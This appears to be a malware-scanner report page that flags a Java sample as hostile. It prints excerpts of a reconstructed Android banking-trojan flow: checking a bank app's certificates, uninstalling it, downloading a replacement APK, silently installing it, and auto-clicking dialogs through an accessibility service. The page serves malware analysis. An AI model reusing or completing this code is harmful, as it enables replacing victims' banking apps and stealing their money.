Hostile 99% java Download

hirudo-app-replacement.java

Silent APK install driven through accessibility actionsUninstalls an app while driving the package installer
SHA-256106b2ba7c2488af8c0c23e8bb3adb89ed6f0f57817bc4f1f7b59f08222b621e8

Evidence

Android framework Java API import lines 1–23
1package com.lure.update;
2
3import android.accessibilityservice.AccessibilityService;
4import android.content.Context;
5import android.content.Intent;
6import android.content.pm.PackageInfo;
7import android.content.pm.PackageManager;
8import android.content.pm.PackageInstaller;
9import android.net.Uri;
10import android.os.Bundle;
11import android.view.accessibility.AccessibilityEvent;
12import android.view.accessibility.AccessibilityNodeInfo;
13
14import java.io.File;
15import java.io.FileOutputStream;
16import java.io.InputStream;
17import java.io.OutputStream;
18import java.net.HttpURLConnection;
19import java.net.URL;
20import java.util.List;
21
22// Synthetic reconstruction inspired by the Hirudo banking-app replacement
23// flow (Oct 2026 reporting): the RAT detects the installed bank …
Requests package signing certificates lines 42–54
42:11… ckageManager pm = ctx.getPackageManager();
43 PackageInfo info = pm.getPackageInfo(
44 TARGET, PackageManager.GET_SIGNING_CERTIFICATES | PackageManager.GET_SIGNATURES);
45 if (info == null || info.signatures == null) {
46 return;
⋯8 lines
Android source fires the package uninstaller lines 57–69
57:7… i.putExtra("title", "Security update available");
58 ctx.startActivity(i);
59 }
60
61 void uninstallGenuine(Context ctx) {
62 Intent uninstall = new Intent(Intent.ACTION_UNINSTALL_PACKAGE);
63 uninstall.setData(Uri.parse("package:" + TARGET));
64 uninstall.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
65 ctx.startActivity(uninstall);
⋯4 lines
Requests APK install without user action lines 73–113
73:5… }
74
75 File downloadPatched(URL url) throws Exception {
76 HttpURLConnection c = (HttpURLConnection) url.openConnection();
77 c.setRequestMethod("GET");
78 File out = File.createTempFile("update", ".apk");
79 try (InputStream in = c.getInputStream();
80 OutputStream os = new FileOutputStream(out)) {
81 byte[] buf = new byte[8192];
82 int n;
83 while ((n = in.read(buf)) != -1) {
84 os.write(buf, 0, n);
85 }
86 }
87 return out;
88 }
89
90 void installPatched(Context ctx, File apk) throws Exception {
91 PackageInstaller installer = ctx.getPackageManager().getPackageInstaller();
92 PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
93 PackageInstaller.SessionParams.MODE_FULL_INSTALL);
94 params.setRequireUserAction(PackageInstaller.SessionParams.USER_ACTION_NOT_REQUIRED);
95 int sessionId = installer.createSession(params);
96 PackageInstaller.Session session = installer.openSession(sessionId);
97 try (InputStream in = new java.io.FileInputStream(apk);
98 OutputStream out = session.openWrite("base.apk", 0, -1)) {
99 byte[] buf = new byte[8192];
100 int n;
⋯8 lines
109
110 android.content.IntentSender createInstallIntent(Context ctx) {
111 return android.app.PendingIntent.getActivity(
112 ctx, 0, new Intent(ctx, UpdateActivity.class),
113 android.app.PendingIntent.FLAG_MUTABLE).getInte …
Performs Android accessibility node actions lines 121–131
121:4… return;
122 }
123 AccessibilityNodeInfo root = getRootInActiveWindow();
124 if (root == null) {
125 return;
126 }
127 List<AccessibilityNodeInfo> ok = root.findAccessibilityNodeInfosByText("Install");
128 for (AccessibilityNodeInfo node : ok) {
129 node.performAction(AccessibilityNodeInfo.ACTION_CLICK);
130 }
131 List<AccessibilityNodeInfo> del = root.findAccessibilityNodeInfosByText(" …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.